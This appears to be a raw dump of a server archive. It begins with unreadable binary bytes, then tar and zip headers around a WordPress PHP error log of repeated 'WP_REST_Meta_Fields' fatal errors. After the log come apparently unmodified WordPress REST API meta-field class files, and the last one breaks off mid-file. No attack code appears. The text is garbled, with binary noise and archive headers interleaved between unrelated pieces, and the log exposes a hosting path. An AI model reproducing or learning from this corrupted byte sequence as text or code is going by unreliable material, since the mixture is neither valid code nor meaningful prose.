�!�J.F�eÚ�����Ϋb!� ��f؍�R�@�#���XbK��@�6Q�V]'�b��M���c�{&vʧ>�p?~j�x����x�M����c��P�����;{�]�O�ߞ^5�KiȴHn!�gS#MK���
=7�ơ-�x��İqsZ1Qu���W�/ʠ�$��ڬ�6$�	��$Y����u5�&�Y
�����)̑����^�)^�T��-�Tn�i�9G�r�7”1 ���T����o}8���]՗QJ��(e��mU�������7l� U鞪2�<����z_NX��q4�Jv|^�圛)垀v��W)_
�49R
�Mz��C-�t��.��qD#˞��C�=EU�z\UW�e(�jK��ܘZ��^�{�P^��ε�ŷ����첷f�b�(ח�x���	M.�����8F��#u�Y�9��*0��?��PD�b�j��*����=��اn�]���
l��
�(@�cm�+���.(h��C�PIa2P���^ѽ>���ނ&�vۯ1ί�`ƺvC��s�.���}�n���մk�����ȫ�P�
+M���Z�e[K��@��֎��i���������O|�g���jj���%A+pB��Z�b��Uܺﳚ!l�`��K��f�k��M��i���ڡ�+��F5�J�	-t�`�L���N����s�C���Z�C�›��
����
�Y���?N��~Ѭ폹�q��^��74s�i��m�>R���w��X.�V �1��lc�Fu�f`IYU���f5G݌d��#��uXy�z�T����W i�{�]��K�p��הfp�z���,���Vf�fK--%�3Y6p���p�@��B�"�W���7s
x��Jd���?>���
j��߫�g�1ݐ����‰��:"�+�|��Q��j�G��\��
�΀��x���0`�Xp�(R�H��e���lK�����R��b9�H�l�K�D�xӔ�7�r.�FC���r�"�a����{О_�0��L.�7�W�ލ��r����W��3����*�%W�I-�������?>������7 a�414338/fields.zip000064400000112201151024420100007202 0ustar00PKFfd[�jH�7�7	error_lognu�[���[28-Oct-2025 04:27:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 04:29:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 04:31:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 11:40:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 21:44:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 21:49:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 21:53:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 21:54:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 22:03:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 22:09:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 22:09:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 22:10:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 22:21:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[30-Oct-2025 01:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[30-Oct-2025 01:10:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[30-Oct-2025 03:44:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[30-Oct-2025 03:47:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[01-Nov-2025 20:04:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 03:26:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 12:13:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[02-Nov-2025 12:15:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[02-Nov-2025 12:20:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:21:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 13:26:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:34:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 21:46:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[03-Nov-2025 11:15:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Nov-2025 11:16:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Nov-2025 11:20:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[03-Nov-2025 11:23:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[03-Nov-2025 11:29:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Nov-2025 11:31:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Nov-2025 18:12:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[04-Nov-2025 00:30:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Nov-2025 01:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[04-Nov-2025 02:08:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
PKFfd[r���XX"class-wp-rest-user-meta-fields.phpnu�[���<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the user meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the user meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
PKFfd[��%class-wp-rest-comment-meta-fields.phpnu�[���<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the comment type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the comment meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
PKFfd[���RHRHclass-wp-rest-meta-fields.phpnu�[���<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 * @deprecated 5.6.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		_deprecated_function( __METHOD__, '5.6.0' );

		register_rest_field(
			$this->get_rest_field_type(),
			'meta',
			array(
				'get_callback'    => array( $this, 'get_value' ),
				'update_callback' => array( $this, 'update_value' ),
				'schema'          => $this->get_field_schema(),
			)
		);
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return array Array containing the meta values keyed by name.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name       = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );

			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}

				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();

				if ( is_array( $all_values ) ) {
					foreach ( $all_values as $row ) {
						$value[] = $this->prepare_value_for_response( $row, $request, $args );
					}
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array $meta      Array of meta parsed from the request.
	 * @param int   $object_id Object ID to fetch meta for.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		$error  = new WP_Error();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			$value = $meta[ $name ];

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 *
			 * Non-single meta can also be removed by passing an empty array.
			 */
			if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
				$args = $this->get_registered_fields()[ $meta_key ];

				if ( $args['single'] ) {
					$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );

					if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
						$error->add(
							'rest_invalid_stored_value',
							/* translators: %s: Custom field key. */
							sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
							array( 'status' => 500 )
						);
						continue;
					}
				}

				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					$error->merge_from( $result );
				}
				continue;
			}

			if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
				$error->add(
					'rest_invalid_stored_value',
					/* translators: %s: Custom field key. */
					sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
					array( 'status' => 500 )
				);
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				$error->merge_from( $is_valid );
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				$error->merge_from( $result );
				continue;
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return true;
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		$current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false );
		$subtype        = get_object_subtype( $meta_type, $object_id );

		if ( ! is_array( $current_values ) ) {
			$current_values = array();
		}

		$to_remove = $current_values;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys(
				array_filter(
					$current_values,
					function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
						return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
					}
				)
			);

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		/*
		 * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
		 * `delete_metadata` will return false for subsequent calls of the same value.
		 * Use serialization to produce a predictable string that can be used by array_unique.
		 */
		$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( is_array( $old_value ) && 1 === count( $old_value )
			&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
		) {
			return true;
		}

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Checks if the user provided value is equivalent to a stored value for the given meta key.
	 *
	 * @since 5.5.0
	 *
	 * @param string $meta_key     The meta key being checked.
	 * @param string $subtype      The object subtype.
	 * @param mixed  $stored_value The currently stored value retrieved from get_metadata().
	 * @param mixed  $user_value   The value provided by the user.
	 * @return bool
	 */
	protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
		$args      = $this->get_registered_fields()[ $meta_key ];
		$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );

		if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			// The return value of get_metadata will always be a string for scalar types.
			$sanitized = (string) $sanitized;
		}

		return $sanitized === $stored_value;
	}

	/**
